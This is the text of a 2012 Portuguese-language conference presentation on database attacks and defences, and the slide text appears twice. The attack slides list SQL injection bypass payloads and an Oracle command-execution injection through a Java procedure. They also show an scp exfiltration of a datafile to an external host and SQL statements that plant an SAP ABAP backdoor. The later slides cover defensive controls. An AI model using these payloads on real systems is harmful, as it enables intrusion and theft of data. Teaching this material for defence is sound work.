DATABASE
ATTACK & PROTECT
Ricardo Martins
CISA, ISO 27001 LA, ISO 20000 Auditor
Myriad Crystal Center 2012/12/05
01
AGENDA
#REALITY_CHECK
#ATTACK
#PROTECT
02
REALITY_CHECK
Mais de 1MM de Registos Foram Expostos a Partir
de Bases de Dados Em 6 Anos
Dois Terços de Informação Sensível Reside
em Bases de Dados
… e Duplica a Cada Dois Anos
20112009
48% Data Breaches
Caused by Insiders
89% Records Stolen
Using SQL Injection
86% Hacking Used
Stolen Credentials
fonte: IDC, 2011; Verizon, 2007-2011
03
REALITY_CHECK
• SQL injection attacks against
databases are responsible for
89% of breached data
• SQL injection vulnerabilities are
endemic
• Require code changes to be made
to an application.
“The versatility and effectiveness of SQL injection make it a
multi-tool of choice among cyber criminals.”
fonte: Verizon 2010-2012 Data Breach Investigations Report
04
REALITY_CHECK
OWASP TOP TEN
#1 Injection
Use of stolen login credentials
SQL Injection
Exploitation of backdoor or
command and control channel
51% / 86%
29% / 51%
Hacking methods by percent of breaches within hacking and
percent of records
25% / 89%
ATTACK
05
Define
target
Find and
organize
accomplices
Build or acquire
tools
Research
target
infrastructure
employees
Test for
detection
Deployment
Initial
intrusion
Outbound
connection
initiated
Expand access
and obtain
credentials
Strengthen
foothold
Exfiltrate
data
Cover tracks
and remain
undetected
ATTACK
06
ADVANCED PERSISTENT THREAT
fonte: SecureWorks 2012 Anatomy of an APT
rede ISP
rede Alvo
corporate LAN
router
2.2.2.2
Hops
10
11
12
8
9
Hops
8
9
10
6
7
router
1.1.1.1
1.1.1.1 2.2.2.2
load
balancer
firewall
l1
ISP 2ISP 1
app
servers
databases
Internet
11 13
firewall
l2
07
ARQUITECTURA
Atacante externo
Atacante interno
ATTACK
EXTERNO
08
ATTACK
BÁSICO/
SCRIPTED
SOFISTICADO/
APT
FRAUDE
POLÍTICO/
REPUTAÇÃO
ROUBO DE
IDENTIDADE
ESPIONAGEM/
CYBERWARFARE
COMPLETO DELIMITADO FOCADO
ACESSO
FÍSICO
REDES DIGITAIS
OUTRAS
COMUNICAÇÕES
ENGENHARIA
SOCIAL
CAMUFLADO RUIDOSO
C. HACKING
ORIENTAÇÃO
ÂMBITO
ABORDAGEM
TÉCNICA
ATTACK
09
ATACANTE_EXTERNO
C. NEGÓCIO SUPERFICIAL PRIVILEGIADO
EXTERNO INTERNORELAÇÃO
ABRANGENTE
ANOSDIAS MESESPERÍODO
EXTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK
AVANÇADO/
ACADÉMICO
ATTACK
10
ATACANTE_EXTERNO
Driver
Transacções financeiras
Bens transaccionáveis
Informação sensível
Foco
Instituições financeiras
Escritórios de advogados
Empresas detentoras de patentes
Comércio online
Organizações com muita informação
pessoal e correlacionável
(e.g. email, nome, morada, sexo,
empregador, BI, NIF, compras, etc.)
ATTACK
11
ATACANTE_EXTERNO
Pontos a explorar:
Software desactualizado com fingerprinting e exploits
disponíveis
IAM e PIM ineficientes (e.g. passwords default, contas
esquecidas, contas privilegiadas não controladas)
Serviços desnecessários e inseguros
Aplicações Web vulneráveis a SQL injection
Whaling, spear phishing
Malware
 Utilizadores conseguem subverter a aplicação para acederem à base de dados
 As aplicações não são desenhadas defensivamente
 As aplicações correm com utilizadores privilegiados
 Cada aplicação é única
Aplicação
SELECT * from sales
where
produtoID =
''union select produtoID, clienteID from Compras --''
and location = 1;
SELECT * from sales where
produtoID =
‘SAASCloudStorage'
and location = 1;
Demasiada confiança...
ATTACK
12
SQLi
www.borla.pt/search.jsp?product=SAASCloudStorage
www.borla.pt/search.jsp?product=' union select clienteID from Compras --'
Base de Dados
13
SQLi
ATTACK
or 1=1 --
' or 0=0 --
'' or 0=0 --
or 0=0 --
' or 0=0 #
'' or 0=0 #
or 0=0 #
' or 'x'='x
'' or
''x''=''x
') or ('x'='x
' or 1=1--
hi'') or
(''a''=''a
' or a=a--
'' or
''a''=''a
') or ('a'='a
'') or
(''a''=''a
hi'' or
''a''=''a
...
Saber a versão da base de dados
' or 1=utl_inaddr.get_host_address((select banner
from v$version where rownum=1))—
Correr comandos no sistema operativo (através de java)
javasyspriv to user1;create or replace and resolve
java source name "JAVACMD" ASimport
java.lang.*;import java.io.*;public class JAVACMD{
public static void execCommand (String command)
throws IOException {
Runtime.getRuntime().exec(command);} };/Create or
replace procedure javacmdproc (p_command in
varchar2)as language java name 'JAVACMD.execCommand
(java.lang.String)';/exec javacmdproc('cmd.exe /c
echo Olá > c:cloudcomputing.txt');
INTERNO
14
ATTACK
BÁSICO/
SCRIPTED
AVANÇADO/
SOFISTICADO
FRAUDE
POLÍTICO/
REPUTAÇÃO
ROUBO DE
IDENTIDADE
ESPIONAGEM/
CYBERWARFARE
COMPLETO FOCADO
ACESSO
FÍSICO
REDES DIGITAIS
ENGENHARIA
SOCIAL
CAMUFLADO RUIDOSO
C. HACKING
ORIENTAÇÃO
ÂMBITO
ABORDAGEM
TÉCNICA
ATTACK
15
ATACANTE_INTERNO
C. NEGÓCIO SUPERFICIAL PRIVILEGIADO
EXTERNO INTERNORELAÇÃO
ABRANGENTE
ANOSDIAS MESESPERÍODO
INTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK
DELIMITADO
ATTACK
16
ATACANTE_INTERNO
Driver
Informação sensível
Transacções financeiras
Foco
Informação sensível do negócio do
empregador ou clientes
Credenciais para transacções financeiras
Informação pessoal e correlacionável dos
clientes
(e.g. email, nome, volume de compras,
datas de contratos, registos de utilização)
ATTACK
17
ATACANTE_INTERNO
Pontos a explorar:
Acesso aos ficheiros de base de dados pelo sistema
operativo
Acesso a Informação de clientes pela de base de dados
Engenharia social a colegas ou clientes
Acesso a tapes de backups não cifradas
Ambiente de testes com os mesmos dados de produção
Colocação de malware
ATTACK
18
ATACANTE_INTERNO_SYSADMIN
Sistema
Operativo
A base de dados não é cifrada. É possível copiar a
informação e transportá-la numa pen USB.
cp /home/oracle/oradata/tmdb/system01.dbf /home/hacker/
scp /home/hacker/system01.dbf hacker@cloudcomputing.pt:22/
BD não cifrada
Administrador
de Sistemas
O DBA que tem acesso informação de clientes pela base de
dados e pode fazer alterações sem deixar vestígios.
A tabela T000 contém informação base de clientes SAP.
SELECT MANDT, MTEXT, CCCATEGORY from SAPSR3.T000;
BD sem separação
de funções (SoD)
DBA
ATTACK
19
ATACANTE_INTERNO_DBA_READ
É possível a um DBA injectar um backdoor ABAP no sistema SAP.
UPDATE SAPSR3.REPOSRC
SET DATA=<CODIGO_BACKDOOR_ABAP> WHERE PROGNAME='SAPMSYST';
ATTACK
20
ATACANTE_INTERNO_DBA_WRITE
De modo a activar o backdoor basta obrigar o SAP a interpretar o
novo código:
DELETE FROM SAPSR3.REPOLOAD WHERE PROGNAME='SAPMSYST';
O backdoor poderia enviar emails com todas as passwords dos
utilizadores que fazem login no SAPGUI.
ATTACK
21
COMMON_ATTACK_PATTERN_ENUMERATION_AND_CLASSIFICATION
fonte: capec.mitre.org
 Os ataques têm um objectivo concreto.
 É suposto não serem detectados.
 O atacante externo é mais sofisticado, o interno tem
acesso a infra-estrutura e informação privilegiados.
 Os ataques podem ser muito alargados no tempo.
 Um auditor de segurança analisa risco tecnológico
num curto espaço de tempo.
ATTACK
22
KEY POINTS
PROTECT
23
PROTECT
24
INTERVENIENTES
Aplicações
Clientes
Fornecedores
Gestores
aplicacionais
Aplicações
Cloud
Sistemas
OperativosAdministradores
de sistemas
Equipa de
suporte
DBAs
Aplicações
móveis
Hackers
Camada de
Segurança
Colaboradores
DBAs
Outsourcing
Equipa de
suporte SLA
Programadores
Outsourcing
25
COMMON_VULNERABILITY_SCORING_SYSTEM
PROTECT
fonte: www.first.org
EXTERNO
26
PROTECT
27
EXTERNO
PROTECT
Melhorar a segurança nas aplicações.
Software Assurance Maturity Model
ISO/IEC 27034 Application security
Sistema Anti Fraude e Risk Based Access Control
Segregar redes e isolar as bases de dados.
28
EXTERNO
PROTECT
Compreender preventivamente a intenção
dos pedidos SQL através de um
filtro/firewall SQL.
Impedir ataques sem quebrar o
funcionamento das aplicações.
29
EXTERNO
PROTECT
Auditar vulnerabilidades e configurações.
30
EXTERNO
PROTECT
INTERNO
31
PROTECT
32
INTERNO
PROTECT
Gerir as contas privilegiadas de modo a
haver não repúdio e auditabilidade.
33
INTERNO
PROTECT
Classificar a informação nas bases de
dados e atribuir perfis de acesso.
Este workflow pode ser colocado num
Gestor de Identidades.
34
INTERNO
PROTECT
Segregar as funções (SoD) dos utilizadores
nas bases de dados.
Os DBAs não devem ter acesso a
informação aplicacional.
35
INTERNO
PROTECT
Entidade
Criar
Contas
SYSDBA Backup Tuning Patching Monitor.
Security
Admin
Negócio
Aplica.
Ricardo
Martins
X - - - - - - -
Eurico
Maia
- - - - - - X -
Tiago
Jacinto
- - X - - - - -
Carlos
Silva
- - - - - X - -
Pedro
Costa
- - - X - X - -
RMAN - X X - - - - -
SYSTEM - - - - EBS - - -
SAPSR3 - - - - - - - SAP ERP
36
INTERNO
PROTECT
Transpor dados de produção para ambientes
de pré-produção retirando a informação
sensível.
As equipas de desenvolvimento não devem
ter acesso a informação de negócio.
37
INTERNO
PROTECT
• Ser selectivo
• Fazer log de todo o SQL de utilizadores com acessos privilegiados
• Não logar actividade aplicacional normal
• Log SQL apenas para a actividade sensível das aplicações
• Utilizar níveis de ameaça para priorizar eventos
Aplicar boas práticas de logging.
38
INTERNO
PROTECT
Cifrar a informação sensível da base dados
em repouso, em trânsito em nos backups.
Autenticação em clear text é facilmente
interceptada numa LAN (ARP Spoofing).
PROTECT
39
KEY POINTS
Começar com um plano simples e ir
melhorando.
Definir métricas.
(e.g. número de incidentes, impacto CIA, impacto no
negócio, número de clientes afectados, etc.)
 As redes digitais são os novos espaços. Devemos ter
as mesmas cautelas que temos no mundo físico, os
perigos são os mesmos.
 As bases dados devem ser trabalhadas como
recursos críticos que são.
 A segurança tem de ser trabalhada em camadas,
como um castelo. Nenhuma camada é intransponível,
mas pode implicar muita complexidade, tempo,
presença física. etc.
 Os seus recursos são valiosos e são transaccionáveis
na Web.
PROTECT
40
KEY POINTS
ricardo.martins@cloudcomputing.pt
www.cloudcomputing.pt
CloudComputing.PT é uma marca registada de
CloudComputing.PT LDA

Database - Attack & Protect

  • 1.
    DATABASE ATTACK & PROTECT RicardoMartins CISA, ISO 27001 LA, ISO 20000 Auditor Myriad Crystal Center 2012/12/05
  • 2.
  • 3.
  • 4.
    Mais de 1MMde Registos Foram Expostos a Partir de Bases de Dados Em 6 Anos Dois Terços de Informação Sensível Reside em Bases de Dados … e Duplica a Cada Dois Anos 20112009 48% Data Breaches Caused by Insiders 89% Records Stolen Using SQL Injection 86% Hacking Used Stolen Credentials fonte: IDC, 2011; Verizon, 2007-2011 03 REALITY_CHECK
  • 5.
    • SQL injectionattacks against databases are responsible for 89% of breached data • SQL injection vulnerabilities are endemic • Require code changes to be made to an application. “The versatility and effectiveness of SQL injection make it a multi-tool of choice among cyber criminals.” fonte: Verizon 2010-2012 Data Breach Investigations Report 04 REALITY_CHECK OWASP TOP TEN #1 Injection Use of stolen login credentials SQL Injection Exploitation of backdoor or command and control channel 51% / 86% 29% / 51% Hacking methods by percent of breaches within hacking and percent of records 25% / 89%
  • 6.
  • 7.
    Define target Find and organize accomplices Build oracquire tools Research target infrastructure employees Test for detection Deployment Initial intrusion Outbound connection initiated Expand access and obtain credentials Strengthen foothold Exfiltrate data Cover tracks and remain undetected ATTACK 06 ADVANCED PERSISTENT THREAT fonte: SecureWorks 2012 Anatomy of an APT
  • 8.
    rede ISP rede Alvo corporateLAN router 2.2.2.2 Hops 10 11 12 8 9 Hops 8 9 10 6 7 router 1.1.1.1 1.1.1.1 2.2.2.2 load balancer firewall l1 ISP 2ISP 1 app servers databases Internet 11 13 firewall l2 07 ARQUITECTURA Atacante externo Atacante interno ATTACK
  • 9.
  • 10.
    BÁSICO/ SCRIPTED SOFISTICADO/ APT FRAUDE POLÍTICO/ REPUTAÇÃO ROUBO DE IDENTIDADE ESPIONAGEM/ CYBERWARFARE COMPLETO DELIMITADOFOCADO ACESSO FÍSICO REDES DIGITAIS OUTRAS COMUNICAÇÕES ENGENHARIA SOCIAL CAMUFLADO RUIDOSO C. HACKING ORIENTAÇÃO ÂMBITO ABORDAGEM TÉCNICA ATTACK 09 ATACANTE_EXTERNO C. NEGÓCIO SUPERFICIAL PRIVILEGIADO EXTERNO INTERNORELAÇÃO ABRANGENTE ANOSDIAS MESESPERÍODO EXTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK AVANÇADO/ ACADÉMICO
  • 11.
    ATTACK 10 ATACANTE_EXTERNO Driver Transacções financeiras Bens transaccionáveis Informaçãosensível Foco Instituições financeiras Escritórios de advogados Empresas detentoras de patentes Comércio online Organizações com muita informação pessoal e correlacionável (e.g. email, nome, morada, sexo, empregador, BI, NIF, compras, etc.)
  • 12.
    ATTACK 11 ATACANTE_EXTERNO Pontos a explorar: Softwaredesactualizado com fingerprinting e exploits disponíveis IAM e PIM ineficientes (e.g. passwords default, contas esquecidas, contas privilegiadas não controladas) Serviços desnecessários e inseguros Aplicações Web vulneráveis a SQL injection Whaling, spear phishing Malware
  • 13.
     Utilizadores conseguemsubverter a aplicação para acederem à base de dados  As aplicações não são desenhadas defensivamente  As aplicações correm com utilizadores privilegiados  Cada aplicação é única Aplicação SELECT * from sales where produtoID = ''union select produtoID, clienteID from Compras --'' and location = 1; SELECT * from sales where produtoID = ‘SAASCloudStorage' and location = 1; Demasiada confiança... ATTACK 12 SQLi www.borla.pt/search.jsp?product=SAASCloudStorage www.borla.pt/search.jsp?product=' union select clienteID from Compras --' Base de Dados
  • 14.
    13 SQLi ATTACK or 1=1 -- 'or 0=0 -- '' or 0=0 -- or 0=0 -- ' or 0=0 # '' or 0=0 # or 0=0 # ' or 'x'='x '' or ''x''=''x ') or ('x'='x ' or 1=1-- hi'') or (''a''=''a ' or a=a-- '' or ''a''=''a ') or ('a'='a '') or (''a''=''a hi'' or ''a''=''a ... Saber a versão da base de dados ' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))— Correr comandos no sistema operativo (através de java) javasyspriv to user1;create or replace and resolve java source name "JAVACMD" ASimport java.lang.*;import java.io.*;public class JAVACMD{ public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command);} };/Create or replace procedure javacmdproc (p_command in varchar2)as language java name 'JAVACMD.execCommand (java.lang.String)';/exec javacmdproc('cmd.exe /c echo Olá > c:cloudcomputing.txt');
  • 15.
  • 16.
    BÁSICO/ SCRIPTED AVANÇADO/ SOFISTICADO FRAUDE POLÍTICO/ REPUTAÇÃO ROUBO DE IDENTIDADE ESPIONAGEM/ CYBERWARFARE COMPLETO FOCADO ACESSO FÍSICO REDESDIGITAIS ENGENHARIA SOCIAL CAMUFLADO RUIDOSO C. HACKING ORIENTAÇÃO ÂMBITO ABORDAGEM TÉCNICA ATTACK 15 ATACANTE_INTERNO C. NEGÓCIO SUPERFICIAL PRIVILEGIADO EXTERNO INTERNORELAÇÃO ABRANGENTE ANOSDIAS MESESPERÍODO INTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK DELIMITADO
  • 17.
    ATTACK 16 ATACANTE_INTERNO Driver Informação sensível Transacções financeiras Foco Informaçãosensível do negócio do empregador ou clientes Credenciais para transacções financeiras Informação pessoal e correlacionável dos clientes (e.g. email, nome, volume de compras, datas de contratos, registos de utilização)
  • 18.
    ATTACK 17 ATACANTE_INTERNO Pontos a explorar: Acessoaos ficheiros de base de dados pelo sistema operativo Acesso a Informação de clientes pela de base de dados Engenharia social a colegas ou clientes Acesso a tapes de backups não cifradas Ambiente de testes com os mesmos dados de produção Colocação de malware
  • 19.
    ATTACK 18 ATACANTE_INTERNO_SYSADMIN Sistema Operativo A base dedados não é cifrada. É possível copiar a informação e transportá-la numa pen USB. cp /home/oracle/oradata/tmdb/system01.dbf /home/hacker/ scp /home/hacker/system01.dbf hacker@cloudcomputing.pt:22/ BD não cifrada Administrador de Sistemas
  • 20.
    O DBA quetem acesso informação de clientes pela base de dados e pode fazer alterações sem deixar vestígios. A tabela T000 contém informação base de clientes SAP. SELECT MANDT, MTEXT, CCCATEGORY from SAPSR3.T000; BD sem separação de funções (SoD) DBA ATTACK 19 ATACANTE_INTERNO_DBA_READ
  • 21.
    É possível aum DBA injectar um backdoor ABAP no sistema SAP. UPDATE SAPSR3.REPOSRC SET DATA=<CODIGO_BACKDOOR_ABAP> WHERE PROGNAME='SAPMSYST'; ATTACK 20 ATACANTE_INTERNO_DBA_WRITE De modo a activar o backdoor basta obrigar o SAP a interpretar o novo código: DELETE FROM SAPSR3.REPOLOAD WHERE PROGNAME='SAPMSYST'; O backdoor poderia enviar emails com todas as passwords dos utilizadores que fazem login no SAPGUI.
  • 22.
  • 23.
     Os ataquestêm um objectivo concreto.  É suposto não serem detectados.  O atacante externo é mais sofisticado, o interno tem acesso a infra-estrutura e informação privilegiados.  Os ataques podem ser muito alargados no tempo.  Um auditor de segurança analisa risco tecnológico num curto espaço de tempo. ATTACK 22 KEY POINTS
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
    27 EXTERNO PROTECT Melhorar a segurançanas aplicações. Software Assurance Maturity Model ISO/IEC 27034 Application security Sistema Anti Fraude e Risk Based Access Control
  • 29.
    Segregar redes eisolar as bases de dados. 28 EXTERNO PROTECT
  • 30.
    Compreender preventivamente aintenção dos pedidos SQL através de um filtro/firewall SQL. Impedir ataques sem quebrar o funcionamento das aplicações. 29 EXTERNO PROTECT
  • 31.
    Auditar vulnerabilidades econfigurações. 30 EXTERNO PROTECT
  • 32.
  • 33.
    32 INTERNO PROTECT Gerir as contasprivilegiadas de modo a haver não repúdio e auditabilidade.
  • 34.
    33 INTERNO PROTECT Classificar a informaçãonas bases de dados e atribuir perfis de acesso. Este workflow pode ser colocado num Gestor de Identidades.
  • 35.
    34 INTERNO PROTECT Segregar as funções(SoD) dos utilizadores nas bases de dados. Os DBAs não devem ter acesso a informação aplicacional.
  • 36.
    35 INTERNO PROTECT Entidade Criar Contas SYSDBA Backup TuningPatching Monitor. Security Admin Negócio Aplica. Ricardo Martins X - - - - - - - Eurico Maia - - - - - - X - Tiago Jacinto - - X - - - - - Carlos Silva - - - - - X - - Pedro Costa - - - X - X - - RMAN - X X - - - - - SYSTEM - - - - EBS - - - SAPSR3 - - - - - - - SAP ERP
  • 37.
    36 INTERNO PROTECT Transpor dados deprodução para ambientes de pré-produção retirando a informação sensível. As equipas de desenvolvimento não devem ter acesso a informação de negócio.
  • 38.
    37 INTERNO PROTECT • Ser selectivo •Fazer log de todo o SQL de utilizadores com acessos privilegiados • Não logar actividade aplicacional normal • Log SQL apenas para a actividade sensível das aplicações • Utilizar níveis de ameaça para priorizar eventos Aplicar boas práticas de logging.
  • 39.
    38 INTERNO PROTECT Cifrar a informaçãosensível da base dados em repouso, em trânsito em nos backups. Autenticação em clear text é facilmente interceptada numa LAN (ARP Spoofing).
  • 40.
    PROTECT 39 KEY POINTS Começar comum plano simples e ir melhorando. Definir métricas. (e.g. número de incidentes, impacto CIA, impacto no negócio, número de clientes afectados, etc.)
  • 41.
     As redesdigitais são os novos espaços. Devemos ter as mesmas cautelas que temos no mundo físico, os perigos são os mesmos.  As bases dados devem ser trabalhadas como recursos críticos que são.  A segurança tem de ser trabalhada em camadas, como um castelo. Nenhuma camada é intransponível, mas pode implicar muita complexidade, tempo, presença física. etc.  Os seus recursos são valiosos e são transaccionáveis na Web. PROTECT 40 KEY POINTS
  • 42.